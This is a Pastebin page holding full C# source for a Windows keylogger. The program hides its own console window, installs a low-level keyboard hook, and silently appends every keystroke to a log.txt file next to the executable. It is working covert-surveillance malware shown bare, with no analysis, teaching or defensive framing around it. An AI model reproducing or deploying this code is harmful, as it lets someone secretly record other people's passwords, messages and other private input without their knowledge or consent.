Advertisement
giganciprogramowania

l14

Apr 14th, 2022
1,687
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. using System;
  2. using System.Diagnostics;
  3. using System.Windows.Forms;
  4. using System.Runtime.InteropServices;
  5. using System.IO;
  6.  
  7. class InterceptKeys
  8. {
  9.     private const int WH_KEYBOARD_LL = 13;
  10.     private const int WM_KEYDOWN = 0x0100;
  11.     private static LowLevelKeyboardProc _proc = HookCallback;
  12.     private static IntPtr _hookID = IntPtr.Zero;
  13.  
  14.     public static void Main()
  15.     {
  16.         var handle = GetConsoleWindow();
  17.  
  18.         // Hide
  19.         ShowWindow(handle, SW_HIDE);
  20.  
  21.         _hookID = SetHook(_proc);
  22.         Application.Run();
  23.         UnhookWindowsHookEx(_hookID);
  24.  
  25.     }
  26.  
  27.     private static IntPtr SetHook(LowLevelKeyboardProc proc)
  28.     {
  29.         using (Process curProcess = Process.GetCurrentProcess())
  30.         using (ProcessModule curModule = curProcess.MainModule)
  31.         {
  32.             return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  33.                 GetModuleHandle(curModule.ModuleName), 0);
  34.         }
  35.     }
  36.  
  37.     private delegate IntPtr LowLevelKeyboardProc(
  38.         int nCode, IntPtr wParam, IntPtr lParam);
  39.  
  40.     private static IntPtr HookCallback(
  41.         int nCode, IntPtr wParam, IntPtr lParam)
  42.     {
  43.         if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  44.         {
  45.             int vkCode = Marshal.ReadInt32(lParam);
  46.             Console.WriteLine((Keys)vkCode);
  47.             StreamWriter sw = new StreamWriter(Application.StartupPath+ @"\log.txt",true);
  48.             sw.Write((Keys)vkCode);
  49.             sw.Close();
  50.         }
  51.         return CallNextHookEx(_hookID, nCode, wParam, lParam);
  52.     }
  53.  
  54.     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  55.     private static extern IntPtr SetWindowsHookEx(int idHook,
  56.         LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  57.  
  58.     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  59.     [return: MarshalAs(UnmanagedType.Bool)]
  60.     private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  61.  
  62.     [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  63.     private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  64.         IntPtr wParam, IntPtr lParam);
  65.  
  66.     [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  67.     private static extern IntPtr GetModuleHandle(string lpModuleName);
  68.  
  69.     [DllImport("kernel32.dll")]
  70.     static extern IntPtr GetConsoleWindow();
  71.  
  72.     [DllImport("user32.dll")]
  73.     static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  74.  
  75.     const int SW_HIDE = 0;
  76.  
  77. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement